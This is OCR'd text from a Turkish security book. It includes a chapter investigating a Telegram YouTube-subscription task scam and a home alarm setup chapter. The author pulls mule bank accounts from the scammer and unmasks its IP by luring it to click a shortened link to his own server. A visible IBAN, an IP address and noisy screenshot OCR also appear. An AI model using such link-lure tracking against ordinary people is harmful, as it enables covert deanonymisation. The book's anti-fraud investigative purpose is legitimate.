1. Adim: YouTube'u agin Ve (mm mm
W] arayin

2. Adim: Abone ol'a tiklayin

3. Adim: Bir ekran goriintiisi alin ve
bu galisma grubuna génderin

4. Adim: Resepsiyonunuzla
iletisime gegin, ekran goruntisina
odiilu alan kigiye gdnderin.

( \ Bir sonraki gorev birakma
ﬁ zamani19:20

Yonetici Rita pinned " [Gérev 26] YouTube ab..."
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& Yari Zamanli Gorev Grut
" Pinned Message

Yonetici Rita
[Gérev 5] YouTube abonelik
gorevi

1. Adim: YouTube'u agin ve [ "mm
p—— arayin

2. Adim: Abone ol‘a tiklayin

3. Adim: Bir ekran gortintiisi alin ve

bu galisma grubuna génderin

4. Adim: Resepsiyonunuzla

iletisime gegin, ekran géruntisini

odulu alan kisiye gonderin.

( Bir sonraki gorev birakma zamani
i 11:20

Yonetici Rita pinned " [Gérev 5] YouTube abo..!

#l Turkeell LTE

< 1N N < $ 1]

@ 46,4 B abon
1 Abone olundu

kanalindan... Timiind gorintiile

125
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Okumak

ﬁl Abone olundu v

ANA SAYFA VIDEOLAR

Videolar
PET-UV 66 PET
FEEDER | EVCIL HAY.
386 garuntileme y

Resource has been exhausted (e.g
check quota)
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Yari Zamanli Gorev Grul

| Pinned Message

(o

Yonetici Rita pinned " [Gérev 9] YouTube abo..!

Yonetici Rita
[Gorev 9] YouTube abonelik
gorevi

1. Adim: YouTube'u agin ve

[ ™= “m] grayin
2. Adim: Abone ol'a tiklayin
3. Adim: Bir ekran goruntisu alin ve
bu galisma grubuna gonderin
4. Adim: Resepsiyonunuzla
iletisime gegin, ekran gorintisini
odula alan kigiye gonderin.

Bir sonraki gorev birakma zamani
12:40

J:L Abone olun.. v

ANA SAYFA VIDEOLAR

127
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Abone olduklarina dair ekran goruntilerini paylasan botlar
zaman zaman paylasimlarindan elde ettikleri kazanclar1 iceren
dekontlarini da paylasmay: ihmal etmiyorlardi. Dekontlara
baktigimda bazilarinda gozle goriliir fotomontaj yapildig:
anlasiliyordu. Diger yandan dolandiricilarin dekontlardaki her
bir bilgiyi degistirmekle ugrasmayacaklarimi tahmin ettigim
icin alici/gonderici banka adi ile alici/gonderici IBAN
numarasindaki banka kodu arasindaki uyumsuzluklar da

hemen dikkatimi cekti.


https://paraforex.net/iban-kodu-nedir-iban-banka-ve-sube-bulma/

Hack 4 Career

Yari Zamanli Gorev Grul
109 members

| Pinned Message

]

202308

04240

ISMAIL

Fehmi

TR19 0006 7010 0000 0085 9500 01
ndesiien
] - .

Mobil Sube

Gonderen: ISMAIL , Alci: Fehmi |

IBAN'a Para Transferi (FAST)

T
500,00 TL
Yalniz Beg Yiiz TL

‘k; G24

Forwarded message
From Karakalpak

DEKONT EEE
EFT BANKALAR ARASI HESABA HAVALE =
|ALICI BILGILERI

(GONDERICI BILGILERI

Dazenieyen Sibe 7777 - K DREKT MOBIL CEP
BB3.0444-0032368 ! TRES 0006 4000 0014 3830 2547 08
0 0952 - HAZ VE SERPIY OPR BOL

AH

HORD IPLIK CAKILLI KASABAS
KIRKLAREL

|TRr 700086004 £ 2828000008958

20803 L

CEFT KOMSYON
|GECEFT BIMY

129
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H 000989 u 12345667800100001

ISLEM BILGILERI
iSLEM TORD FAST Giden Anlik Odeme  ISLEM TARIHi 05.08.2023.10:22:52
ALICI BANKA psbank AS. SORGU NO 685646523
ISLEM TUTARI
GONDEREN AD SOYAD / Normalde kalin VAN  Serdal | ]
UNVAN

olmamasi lazim
ALICI HESAP NO / I3 cH G O0G AU 020 0 ER: 2023526524638791

2101 3617 99 fotomontaj
yapildigina igaret
ediyor.

Alici banka adi ile
IBAN

numarasindaki
banka kodu
uyusmuyor.

Bir yandan giin i¢inde gruba dolandiricilarin yeni kurbanlar
ekledigini de gordiim. Neyse ki tezgahin farkina varanlar hem
digerlerini uyardilar, hem de gruptan hemen ayrildilar.
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< | & °\ Yari Zamanl Gorev Grul
s 'y o ;
e«+ Esra Sayin Karadz is typing

| Pinned Message

=g+ onceden iletisime gegmedigim igin.

Unread Messages

Esra: [
@\ Anaparayi ve kar goktan aldim.

Umut =

Esra B
| Anaparay! ve kéri goktan aldim.
Gergekten iadeyi yapiyorlar mi?

1903 basaran 1903
Ya sacmalamayin :)

Yaparlar mi
Kandiriyorlar
Cikin

Esra » mmm
| Umut Bal

Gergekten iadeyi yapiyorlar mi?
Daha yapmadin mi?

Umut ®
Ben inanmadigim i¢in yapmadim
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Grupta  paylasilan  ekran  goriuntiilerini  dikkatlice
inceledigimde, ¢esitli ipuclarindan bunlardan bazilarinin sanal
telefon yazilimlarina (Android Emulator vb.) ait oldugunu,
bazilarinin da operator isimleri icermesi ve ayrica bagka
uygulamalar da caligtirmalar1 nedeniyle gercek, belki de

hacklenmis telefonlar olabilecegine kanaat getirdim.



https://developer.android.com/studio/run/emulator
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1402 O @ - © 1.4 § %85

Normal telefonda
kamera boglugu
olmaz.

Kim o posta yoneticinizden sesli
diyafonunuzu hemen /Audio géstntuld ||
Turkge bilen biri videolar igin
altyazi genelde agmaz.

Ailenizin Giivenligi icin Sesli Diafonlar Degistirme

Zamani
Reklam - Audio Elektronik A.S.
Siteye git E
H n
3,49 B abone

£\ Abone olundu v

S hakkia indan en yeniler

kaydirma gubugu "=
gérinmez.
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14:21 all 36 11

< H 0 0

a Q

Olucak.lsmimiz Gibi Daha Me Olsun

EL Abone olundu

Ana Sayfa Videolar Oynatma Listeleri Toplulul

FILMLERIN GIZLI KAHRAMANLARI / 150
DUBLAJ SANATCISI { SESLENDIRICILER /...

- 82 B gorintlleme - 3 wil Gnce
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ol Turk Telekom =

Lol 0N

3,49 B abone 224 video

MERHABA TV KANALIMIZA HOS
GELDINIz

N Abone olundu v

ANA SAYFA VIDEOLAR SHORTS

Videolar

Gidilesi,...
Kardele...

A 8 CYR O

Ana Sayfa Shorts Abonelikler Kitaphk

» X
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al Turkcell 14:03 %30@ )
< MW X & ;1
N tv L
@
3,5 B abone

K Abone olundu v

Dungeon of Gems

Kadar yeni baglayanlar igin hos
geldiniz paketi

Reklam - UCRETSIZ

indir i

A 8 P & E

Ana Sayfa Shorts Abonelikler Kitaphk
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19:41 # SRS

@ Kelimelik * simdi ‘&
Kelimelik

Bey@z Zambak ile yeni oyun agildi

Nlu‘_lr\ Yl

23,5 B abone

£\ Abone olundu v

\ »ﬁ-ﬁ

Mix -

YouTube

Miizik albimleri
N

' Kismet 1. B6lim
= P izlemeye devam... > ><
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Bazi ekran goriintillerinde, muhtemelen Tirkiye’den bir IP
adresine sahip olmak icin VPN kullandiklarini gérdiim. Ayrica
botlarin toplu abonelik islemi gergeklestirdikten sonra kimi
zaman YouTube’dan hata aldig1 (Resource has been exhausted

(e.g. check quota).) goziimden kacmasi. Gorevin baslangici

esnasinda ve sonrasinda abone olunmasi (Subscribe) istenilen
YouTube hesaplarinin abone sayilarina baktigimda 2000
arttigini goérdim. Buradan yola cikarak basit bir hesapla
dolandiricilarin bu is icin binlerce bot ordusuna sahip
olduklarini séyleyebilirim.


https://www.reddit.com/r/youtube/comments/ofbegf/error_resource_has_been_exhausted_eg_check_quota/
https://www.reddit.com/r/youtube/comments/ofbegf/error_resource_has_been_exhausted_eg_check_quota/
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' Turkeell LTE @8 16:24 %40 m_)

@ I 4,96 B abone 159 video

Kanalimda pratik, kolay, lezzetli nefis yemek
tarifleri, pasta, kurabive ve tatl tarifleri, faydal bil...

X Abone olundu

ANA SAYFA  VIDEOLAR SHORTS OYN{

Videolar

KIYMALI
PATLICAN

YEMEGI NASIL...
309 goruntuleme - 2 h...

Abonelik eklendi
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- Bl @

{a 3,73 B abane 96 video

FUSKEWVIT ICIN ABOME OL!

{1 Aboneolu.. Katil

AMA SAYTFA VIDEOQLAR 2HUKRTa LR

Kisiler Gérinmuyor?

1 : v
E Resource has been exhausted (e.g. 422
check quota).

(Dual WhatsaApo)
% 8 (3 o ©

Sine Temyila Bl I""\-\. - Faloinee ikl e Kilapla
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Okumak

ﬁl Abone olundu v

ANA SAYFA VIDEOLAR

Videolar
PET-UV 66 PET
FEEDER | EVCIL HAY.
386 garntileme y

Resource has been ex}\g(

check quota)
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Saat 20:30 oldugunda s6zde kisiler yani botlar birbirlerine iyi
geceler dedikten sonra grup bir sonraki giin sabah saat 09:00°a
kadar sessizlige biirliniiyorlardi. Yine aklima cesitli sorular
takilmaya basladi. Tirkiye’de FAST sayesinde 7/24 para
transferi yapilabiliyorken neden saat 20:30°da uykuya
geciriyorlardi? Botlar1 yo6neten dolandiricinin/operatériin
bulundugu lokasyonda gece ge¢ saat oldugu igin mesaisini ve
botlar1 bu saate gore mi ayarlamigi? Bu sorularima yanit
bulmay1 daha sonraya birakip arastirmama kaldigim yerden

devam ettim.

4 Agustos 2023 tarihinde Telegram grubunun kapatildigini
farkettim ve dolandirici ile iletisime gegip beni gruba tekrar
geri almasini istedim. Bu defa gruba girdigimde grup iiyelerinin
listesi gizlenmisti. Dolandiricilik  girisimin ~ detaylarini
ogrenmek icin grubu bir siire izleyip, 4 gorevi tamamladiktan
sonra beni hem daha kalabalik bir gruba almasi hem de
hesabima paray1 yatirmasi i¢in dolandirici ile iletisime gectim.

Tabii ki dolandirict bunun igin 4 tiiccar gorevini (500 TL 6de
650 TL kazan modeli) tamamlamam gerektigini belirtti.
Odemeyi nereye, nasil yapacagimi sordugumda banka hesabina
yapabilecegimi  soyledi.  Dolandiricilarin = daha  fazla
vatandasimizi magdur etmemesi adina bu banka hesaplarini
hizlica 6grenmem ve o bankalarin yetkililerine izlemeleri icin
iletmem gerekiyordu. Vakit kaymeden dolandiriciya 6deme

yapmak istedigimi s6yledim.


https://fast.tcmb.gov.tr/
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e g Rgsepswomst-h HOT o

_
vip kanalina alir misin ?

Dort tiiccar gorevini tamamladiktan sonra
VIP kanalina katilabilirsiniz.

tamamladim zaten q3.53

Bu abonelik gorevidir

Grupta her glin dort tiiccar gorevi
yayinlanacak

fark etmedin mi

satin mi almam lazim ? 13.5¢

almak istiyorum o halde 13,7 .
Bugiinin gorevi bitti
satin almanin yolu yok

Yarin sabah 9:00'da gorev grubunu takip
edebilir ve katilabilirsiniz.

satin almak icin 6demeyi nasil
yapabiliyorum ? Ona gore hazirlayayim

yarin igin. 13:28 W

On 6deme tutarina bagh olarak, geliriniz
degisecektir. Geri ddemeler 30 dakika
icinde yapilabilir. Ne kadar ¢ok 6n 6deme
yaparsaniz, o kadar gok komisyon
kazanirsiniz
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Birinci hesap bilgisini 6grendikten ve ilgili banka yetkilisini bu
konuda haberdar ettikten sonra dolandiriciya para transferimin
gerceklestirilemedigini,  hesaplarinda  sorun  oldugunu
sOyledim. Ardindan ikinci bir hesap bilgisi vermesi konusunda

onu ikna etmeye calistim ve bagardim. (2
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£ Resepsiyonist- N HOT :
< éﬁ +++ typing - ;

Nasil 6deme yapabilirim ? g.49 o

Onemli degil, ne kadar miktari segersiniz?

Girig olan 500 TL gg:55 &

500 TL yatirinca ne kadar kazanabilirim ?
06:56 v

500 650 kazanabilir

Tamam g¢7:12

Odeme bilgilerini alabilir miyim ? ¢7.q7 .

Lutfen bekleyin, sizin i¢in getiriliyor

Osman [

transfer miktari:500

*Odeme segimi HIZLI havale, EFT segimi
gecersiz

*Yorum yapmaya gerek yok

*Havaleyi tamamladiktan sonra, liitfen
havalenin ekran goruntisuni ve 6deyenin
adini saglayin

Transferi 15 dakika iginde tamamlamak
icin, suresi dolmus ve gegersiz, tutar daha
fazla veya daha az olamaz
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< é Resepsiyonist - N HOT L :

VO. 14 vv

kullanabilirsiniz

Denedim olmadi ikisinde de. Sizin hesapta
problem var. 08:18 W

litfen bana ekran goriintisi saglayin
Ne dneriyor?

Diger herkes aktarimi normal sekilde
tamamlayabilir

Gagn merkezini arayin diyor, ekran
goruntisu aldirtmiyor uygulama. gg.9g .

Her iki banka da ayni mi?

Evet. og:20

"Guvenlik politikasi geregi ekran goruntusu
alinmamaktadir." diyor. 08:21 W/

Tamam, senin igin yeni bir sistem hesabi
almaya galisacagim

m bank
Handan @ m
TR57! mmm = m 90

Bu bankaya 500 6demeyi deneyin




Hack 4 Career 147

Olmuyor, etmiyor, soyle problem var, cagri merkezini aramam
lazim, banka gubesine gitmem lazim, tamam sorunu ¢6zdiler
diye diye giiniin sonunda dolandiricilarin 4 farkli bankada
kullandig1 5 farkl hesap bilgisini bu bankalarin yetkilileri ile
hizlica paylastim ve ¢ok kisa siirede daha fazla vatandasimizin
magdur olmasini el birligi ile engellemis olduk. Bu noktada
isimlerini aciklayamadigim bankalara ve oradaki tim
yetkililere hizli aksiyonlar: i¢in de ayrica da tesekkiir ederim.
15 yil boyunca farkli farkli bankalarda calisinca bu gibi
durumlarda kime ulasacaginizi bilmenizin de hizi arttiran

onemli etkenlerden biri oldugunu séyleyebilirim. (£

Elde ettigim tim bu bilgiler 151831nda dolandiricilarin kurdugu
tezgahi 6zetleyecek olursam;

WhatsApp tizerinden yabanci bir numara kullanarak kurbanla
iletisime gecip bir Telegram grubuna aliyorlar. Telegram
grubunda botlar tarafindan gerceklestirilen yazigmalarin ve
paylasilan dekontlarin tamami kurbani etkilemek, ikna etmek
adina yapilan diizmecesinin 6nemli bir pargasi oluyor. En
basta kurbanin hesabina 180 TL gondererek giiven kazanan
dolandiricilar, daha fazlasi i¢in kurbani 6deme yapmasi
konusunda ikna etmeye calisiyorlar. Dolandiricilar para
transferleri i¢in birden fazla bankada acilmis hesaplar
kullaniyorlar. Kurbanin giin i¢inde Telegram grubunda
paylasilan 26 YouTube hesabina abone olmasini saglayarak
muhtemelen bundan da ya ana ya da yan kazang elde

ediyorlar yani bir tasla iki kus!

Para transferi icin kullanilan hesaplar kimlere aitti?

Kétiiye kullanilan hesap bilgilerini dolandiricidan teker teker
aldik¢a aklimi yine farkli sorular kurcalamaya baslamisti. Bu
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hesap sahiplerinin isim ve soyadlarini LinkedIn sosyal aginda
arattigimda isim benzerligi ihtimali de olsa ¢ogunun ya suan
da ya da yakin bir zamana kadar tniversite 6grencisi oldugunu
gordiim. Bunlar dolandiricilar ile bilerek ve isteyerek isbirligi
yapan 20’li yaslarindaki genc¢ kigiler miydi yoksa hayat
sartlarinin  zorlugu nedeniyle gelir elde etme ugruna
dolandiricilar tarafindan istismar edilen 6grenciler miydi?
Maalesef bu soruya yanit bulma sansimin olmayacagini bilerek
aklimi kurcalayan diger sorularin yanitlarin1 aramaya devam
ettim.

Bu operasyonu hangi tlkeden yirutiiyorlardi?

Yerli de olsa yabanci da olsa dolandiricilarin ¢ogunlukla
Operasyon Giivenligine 6nem vermediklerini Kripto Para

Dolandiricilari gibi benzer aragtirmalarimda da tecriibe ettigim
icin bu dolandiricida da IP adresini tespit etmek icin ayni

yontemi denemeye karar verdim.

Bunun i¢in websiteme yiikledigim sahte ekran goriintiisiiniin
adresini Bitly URL kisaltma servisinden faydalanarak
paylagsmaya ve IP adresini elde etmeye calistim.

Dolandiric1 ilk 6nce baglant: adresine tiklamaktan ¢ekinse de
isin ucunda gelir oldugu ve klavyenin diger tarafinda da benim
oldugumu bilmedigi i¢cin goziini karartt1 ve tikladi. Ben de
websitemin kayitlarindan elde ettigim IP adresini SOCRadar
I0C Radar tizerinde arattigimda dolandiricinin
171.102.239.190 IP adresi ile benimle Tayland iizerinden
iletisim kurdugunu 6grendim.



https://www.linkedin.com/
https://www.mertsarica.com/opsec/
https://www.mertsarica.com/kripto-para-dolandiricilari/
https://www.mertsarica.com/kripto-para-dolandiricilari/
https://bitly.com/
https://socradar.io/labs/ioc-radar/171.102.239.190
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< Q Resepsiyonist - N HOT L

hangi banka ? 955 .,
m bankasi

W == bankasi uygulamasi su hatayi
veriyor, sebebi konusunda fikriniz var mi ?

bit.ly/ Sy u™ 1015 W
Hicbir fikrim yok

Sizin igin kontrol edebilmem igin bana bir
ekran goriintiisii gondermeniz gerekiyor

ekran goruntisind buradan

gonderemedim, glivenlik politikasi hatasi

veriyor o nedenle image sitesine ytikledim.
1017 W&

Benim icin fotograf gcekmek icin diger cep
telefonlarini kullanabilirsiniz.

Bagka telefonum yok, bit.ly/m m =
buradan bakip soéyleyebilir misiniz ?
1019 W

Para transferi esnasinda bu hatayi veriyor.
10:19 W/

Lutfen henliz 6deme yapmayin
Tamam 140 .

Sistem hesabi kotasi dolu

Hazir oldugunuzu onayladiktan sonra,
en son hesaba veniden basvurmak icin
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170,102.239.190 - - (05/Aug/2023:14:19:45 +0000] "GET /images/. peg HTTP/1.1" 200 30764 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleNebKit/537.36 (KHTML, Like Gec
ko) [007Scrm/4.5818 Chrome/108.0.5359.215 Electron/22.3.18 Safari/s37.36"

e @56 *» =400
srch on the I0C . ess or hast
171.102.239.190
o >
38082
IT-TIG-AS-AP Trus Intermational Gatewoy
Co.Lid. ™
022390/24
eFinding@ ) DarkWebFinding@ ] Penalty Reason @ Recent

Tayland ile Tirkiye arasinda 4 saat fark oldugunu
ogrendigimde botlarin neden Tirkiye saati ile
20:30°da, Tayland saati ile 00:30’da birbirlerine iyi
geceler dedigini anlamis oldum. (&

Tabii websitemdeki kayitlardan sadece dolandiricinin
bulundugu ilkeyi oOgrenmekle kalmadim. User-Agent
bashiginda yer alan 007scrm/4.58.8 bilgisinden bu
dolandiricinin birden fazla sosyal medya hesabini yonetmek
ve kurbanlari ile haberlesmek i¢in i¢in SCRM Windows isimli

uygulamay1 kullandigini da 6grendim.


https://en.wikipedia.org/wiki/User-Agent_header
https://www.007.tools/client-download
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Scrm macOS ‘ . ﬁ" Q

& Download the MacOS version

O o

Dolandiricilar Tiirkge biliyorlar miydi yoksa geviri

araglart mi kullaniyorlardi?

Ekran gorintiilerine goz attiginizda hem gruptaki botlarin hem
de dolandiricinin/operatériin - ceviri  araclar1  kullandig1
anlagiliyordu ancak yine de emin olmak i¢in ¢eviri araclarinin
%100 basarisiz olacagl ancak sadece Tirkce bilenlerin
anlayabilecegi Anadolu agizlarma ve yazim hatalarina
bagvurmaya karar verdim. Ekran gorintiisinden de
anlasilacagl iizere c¢eviri programlari1 Anadolu agizlar
karsisinda ¢uvalladiklar icin ceviri araclari kullandiklarindan

emin olmus oldum. (£
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August 4

Selam 1737 o
Merhaba

Nasilsin ? 11.3g

lyiyim

Yarim zamnanlh goreev grubbunnndaki
ggorevinii tamammmladin mmi ? qq.49 .

4 ticcar gorevini tamamladim

Nagadar gazandin ? 4.4 .»

Nagadar ? 11:50 W
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Sonucg

e-Devlet Hacklendi mi? blog yazimdaki yerli ve milli

dolandiricilarimiz ~ yetmiyormus gibi bir de iizerine
vatandaglarimizi  aglarina  disirmeye calisan okyanus
Otesinden dolandiricilarin  eklenmis oldugunu zilerek

Ogrenmis oldum.

Dolandiriciik  girisimlerine karsi kaynagini bilmedigimiz
yerlerden gelen cagrilari, mesajlar1 yanitlamadan 6nce hattin,
klavyenin diger ucunda potansiyel bir dolandirici oldugunu,
bedava peynirin sadece fare kapaninda olacagini her zaman
aklinizin bir kégesinde bulundurmaniz gerekiyor.

WhatsApp uygulamasi 6zelinde bilinmeyen numaralardan
gelen cagrilar1 sessize alarak (Ayarlar -> Gizlilik ->
Aramalar -> Bilinmeyen kullanicilar1 sessize al) en

azindan bir siire sizi rahatsiz etmelerinin 6niine gegebilirsiniz.

Bilinmeyen kullanicilan sessize al ®
Bilinmeyen numaralardan gelen aramalal

Varsayilan mesaj siresi Kapal
Y! ) sessize alinacak. Bu aran alar

inde ve bildirimlerinizde gormeye
devam edebilirsiniz
Daha fazla bilgi

Bilinmeyen
Kullanicilar i
Sessize Alin

Canli konum
Yok

Aramalar

Bilinmeyen kullanicilar sessize al

Engellenmis kisiler
Yok

Parmak izi kilidi

Bu dolandiricilik yontemine karsi farkindalik yaratmak
adina bu yaziy1 esinizle, dostlarinizla, sevdiklerinizle,
cevrenizdekilerle paylasabilirseniz hep birlikte daha


https://www.mertsarica.com/e-devlet-hacklendi-mi/
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fazla vatandasimizin dolandirilmasinin Oniine

gecebiliriz!

Bir sonraki yazida goriismek dilegiyle herkese giivenli giinler

dilerim.
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5. Evim Evim

Guvenli Evim

If you are looking for an English version of this article,

please visit here.

2022 yilinin sonlarma dogru esimle birlikte ABD’ye yerlesme
karar1 aldigimizda ilk is olarak kendimize barmacak bir ev
bulmamiz gerekiyordu. Istanbul’da yillarca 7/24 giivenlige
sahip bir sitede oturdugumuz icin giivenlik konusunda bu
zamana dek pek bir kaygimiz olmamisti ancak mevzu bahis
ABD’de miistakil bir evde yasamak ve fiziksel giivenligini
saglamak olunca, bir siber giivenlik profesyoneli olarak is basa
disti. (&

Arda AKBAS Hanim sayesinde ABD’ye adim atmadan (remote)
suc orani oldukga diigiik bir bolgede kendimize 3 katli, miistakil

bir ev bulduktan sonra ilk is olarak Google Haritalar ile evin
dis cephesini inceleyerek dis mekan kameralar: i¢in uygun olan

yerleri kabaca belirlemeye caligtim.

155


https://www.mertsarica.com/home-home-secure-home/
https://www.mertsarica.com/abd-olaganustu-yetenek-vizesi-o-1a/
https://www.linkedin.com/in/ardaakbas/
https://www.adt.com/crime
https://www.google.com/maps

156 mertsarica

Sira uygun bir alarm sistemi bulmaya geldiginde, DIY sevdalisi
biri olarak Ring, Eufy, SimpliSafe, ADT Blue alarm sistemleri

dikkatimi ¢ekti. Uzun incelemeler ve degerlendirmeler
sonucunda her ne kadar hakkinda mahremiyete ve zafiyetlere
dair olumsuz haberler ¢cikmis olsa da, fiyat, performans ve genis
bir ekosisteme sahip olmasi nedeniyle tercihimi Ring alarm
sisteminden yana yapmaya karar verdim.

Eve tagindiktan sonra ilk is olarak hirsiz géziiyle evin her katin
gezmeye basladim. Ozellikle Amerikan filmlerinden az ¢ok
tahmin edeceginiz tizere evde ¢ok sayida (27) stirgiilii pencere
ve bahceye acilan 3 kapi ile karsilastim. Bodrum kati ise
Amerikan korku filmlerinde her daim canavarlarin, koti
ruhlarin mesken ettigi yerlerin aksine halifleks zemine sahip 1
odasi, 2 penceresi ve garaja acilan bir kapisi olan kisaca spor
salonu (Home Gym) yapmak icin ideal, sevimli bir yerdi.

Ortaya cikan ihtiyaclar dogrultusunda ilk olarak 14 parcadan

olusan Ring’in 2. jenerasyon ana alarm sistemini siparis ettim.


https://en.wikipedia.org/wiki/Do_it_yourself
https://ring.com/security-system
https://us.eufy.com/collections/security
https://simplisafe.com/home-security-shop-packages
https://www.adt.com/protect/diy
https://www.ftc.gov/news-events/news/press-releases/2023/05/ftc-says-ring-employees-illegally-surveilled-customers-failed-stop-hackers-taking-control-users
https://techcrunch.com/2022/07/13/amazon-ring-video-footage-government/
https://techcrunch.com/2022/08/18/amazon-ring-security-risk/
https://www.amazon.com/dp/B08YMBQJ49
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Buna ilave olarak 3 saniye basilmasi durumunda sirenin
calmasimi saglayan panik butonlari, cam kirilma sesini tespit

edebilen dedektorler, hareket algilayan dedektorler siparis

ettim.

Camlar1 ve kapilar1 manyetik kapi kontaklari, evin belli

boliimlerini cam kirilma ve hareket dedektorleri ile glivenli bir
hale getirdikten sonra sira i¢ ve dis mekan kameralarim satin

almaya geldi.

Garaja disaridan acilan 2, iceriden de 1 kap1 oldugu i¢in burasi
i¢ mekan kamerasini konumlandirmak icin 6nemli bir yerdi.
Elektrik tesisati ile ugragmamak icin tercihimi bataryali
kameralardan yana kullanmaya karar verdim ve garaj icin Ring
Stick Up Cam satin alip, kurulumunu gerceklestirdim.


https://www.amazon.com/gp/product/B07MV5B9XC/
https://www.bestbuy.com/site/ring-alarm-glass-break-sensor-2-pack-white/6492198.p?skuId=6492198
https://www.amazon.com/gp/product/B07ZB32NCJ/
https://www.amazon.com/Ring-Alarm-Contact-Sensor-6pk/dp/B07ZB2QLC2?th=1
https://www.amazon.com/gp/product/B07Q6ZZFLS/
https://www.amazon.com/gp/product/B07Q6ZZFLS/
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Sira dis cephe kameralarmma geldiginde ilk olarak kapiya
gelenleri kamerasi sayesinde kayit altina alip, cift tarafli

goriisme gerceklestirebildigim Ring Video Doorbell 4 isimli
akilli kap1 zilini satin aldim. Zili, matkapla ugrasip duvara
monte etmek yerine kapiya asmay1 tercih ettigim icin ilave
olarak bir de DOORBELLBOA Anti-Theft Video Doorbell Door
Mount isimli Urunt satin aldim.



https://www.bestbuy.com/site/ring-video-doorbell-4-smart-wi-fi-video-doorbell-wired-battery-operated-satin-nickel/6459035.p?skuId=6459035
https://www.amazon.com/gp/product/B08GG9NVSM/
https://www.amazon.com/gp/product/B08GG9NVSM/
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Akilli zili devreye aldiktan 2 giin sonra ilk davetsiz misafir
kameraya yakalandi. (£

One or more interactive elements has been

excluded from this version of the text. You can
view them online here: https://pressbooks.pub/
hack4career2023/?p=48#oembed-1

Garajin ana giris kapisy, zilin kamerasinin goriis acis1 disinda
kaldig1 icin hem ana girig kapisinin iistiine hem de evin arka
kapisinin Ustiine gectigimiz kasim aymda yeni slirimi

piyasaya sunulan Ring Spotlight Cam Pro kamerasini koymaya

karar verdim. Kameralarin bataryalarinm siklikla degistirmemek
(kullanima bagli olarak normal sartlarda 3 ay) icin kameralara
1 batarya yerine 2 batarya takmakla yetinmeyip tizerine bir de
2. jenerasyon giines enerji paneli olan Ring Solar Panel satin

alip kameralara bagladim. Bu sayede paneller, giinesli giinlerde
bataryalar1 doldurarak beni biiyiik bir zahmetten kurtarmig

oldular.


https://www.amazon.com/Ring-Spotlight-Cam-Pro-Battery-White/dp/B09DRX62ZV
https://www.amazon.com/gp/product/B0B27JY45L
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flerleyen giinlerde de yine misafirlerimiz eksik olmadi. (=)

One or more interactive elements has been
excluded from this version of the text. You can
view them online here: https://pressbooks.pub/
hack4career2023/?p=48#oembed-2
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Siber giivenlikte oldugu gibi (CISSP Domain 3: Security
Architecture and Engineering) fiziksel givenlikte de
caydiricilik (Deterrence) onemli bir giivenlik kontrolii oldugu
icin glines enerjisi ile calisip gece yanan 2 adet Ring Solar
Security isaretini evin girisine ve arka bahceye koymay: da

ihmal etmedim.

AR

Sureklilik adina ana alarm sisteminde (Base Station) 15


https://resources.infosecinstitute.com/certification/understanding-cissp-control-frameworks/
https://www.amazon.com/gp/product/B07P3FQ8SF
https://www.amazon.com/gp/product/B07P3FQ8SF
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dakikaya kadar kisa siireli elektrik kesintisilerine kargi bir
batarya, internet Kkesintisine karsi da hiicresel baglanti
(Cellular) destegi bulunuyor. Tabii esegi saglam kaziga
baglamak isteyen biri olarak hem yonlendiriciyi (router) hem
alarm sistemini hem de diger elektronik aletlerimi desteklemek
icin APC BE600M1 and BE425M Battery Backup kesintisiz gii¢
kaynagi da satin aldim.

Tim kurulumlarn gerceklestirdikten sonra Ring’in mobil
uygulamasi tizerinden 7/24 evimde ve ¢evresinde olan biteni
izlememe, uyar1 almama imkan tanmiyan akilli bir alarm
sistemine kavusmus oldum. Izlemeyi sadece kendimle sinirli

tutmamak icin ayrica Ring’in Protect Pro 7/24 profesyonel

izleme hizmetinden de faydalanmaya basladim.

1) Garage

2sec.ago

R Terrace

Son olarak Ring alarm sistemi ile entegre olup alarm sistemi
tarafindan tireyen alarmlari sesli olarak iletebilen, kameralar
canli olarak izlemeye imkan taniyan, zile basan kisi ile gériisme
gerceklestirebildiginiz ve de en 6nemlisi Routines sayesinde
spesifik olarak alarmlar ihtiyacimiza gore 6zellestirebildiginiz


https://www.amazon.com/APC-Battery-Protector-Back-UPS-BE600M1/dp/B06ZXRH6CM/
https://play.google.com/store/apps/details?id=com.ringapp&hl=en_US&gl=US
https://play.google.com/store/apps/details?id=com.ringapp&hl=en_US&gl=US
https://ring.com/professional-monitoring
https://support.ring.com/hc/en-us/articles/360031606811-Creating-a-Routine-with-Alexa-and-your-Ring-Device-
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yapay zeka destekli sesli asistan Alexa, Echo Show 10 ile

kadroyu tamamlamig oldum.


https://www.amazon.com/gp/product/B07VHZ41L8
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& ROUTINES (+)

YOUR ROUTINES GALLERY ACTIVITY

Sorted by Routine Name A-Z =T

Basement Door Alert o

Basement Door is open

Basement Motion Alert

Basement Motion Detector dete...

Basement Window 1 Alert

Basement Window 1 is open

Basement Window 2 Alert

- 9 O o

Communicate Devices
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& EDIT ROUTINE

Enabled

Basement Door is open

WHEN

Basement Door opens
View/Edit

Anytime

ALEXA WILL

Add action

@ Say "Basement door is open"

Echo Show

- e O o

Home Communicate Play Devices
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Sonug olarak her seyiyle birlikte yaklagik 2000$‘a mal olan
Ring alarm sistemi, ailemizin koruyucusu, sadik dostumuz
North’un yerini tutamayacak olsa da en azindan kendisine
erken emeklilik, uzun siireli kestirmeler i¢in iyi bir firsat

yaratacagina inaniyoruz. (<
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Bu yazinin benim gibi DIY alarm sistemi kullanmak isteyenlere
fayda saglayacagini iimit ederek bir sonraki yazida gériismek

dilegiyle herkese giivenli giinler dilerim.
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6. Akilli Izgarami

Nasil Hackledim ?

If you are looking for an English version of this article,

please visit here.

Ust diizey biirokrat olan Mert SARICA’y1 hedef alan Rus Askeri
Istihbarat Dairesi (GRU), yasadigi evinin kablosuz agma sizip

Cok Gizli smifindaki belgeleri ele gegirmesi i¢in 2004 yilindan
bu yana faaliyetlerine devam eden 26165 birimi olan namidiger
APT 28 hacker grubunu gorevlendirir.

10 Nisan’da diplomatik pasaport ile iilkeye giris yapan APT 28
grup uyeleri, kiraladiklar1 Citroen C3 marka arabanin bagajina,
kablosuz ag hacklemek igin bir bilgisayar ve cesitli
donanimlardan olusan techizatlarini yerlestirdikten hemen
sonra evin adresine dogru yola koyulurlar.

Hacking Grill

Hacking Grill

Hacking Grill

Eve yaklastiklarinda hedef alacaklari kablosuz agin adini (SSID)

173


https://www.hack4career.com/how-i-hacked-my-smart-grill/
https://en.wikipedia.org/wiki/GRU
https://en.wikipedia.org/wiki/GRU
https://attack.mitre.org/groups/G0007/
https://en.wikipedia.org/wiki/Service_set_(802.11_network)#SSID
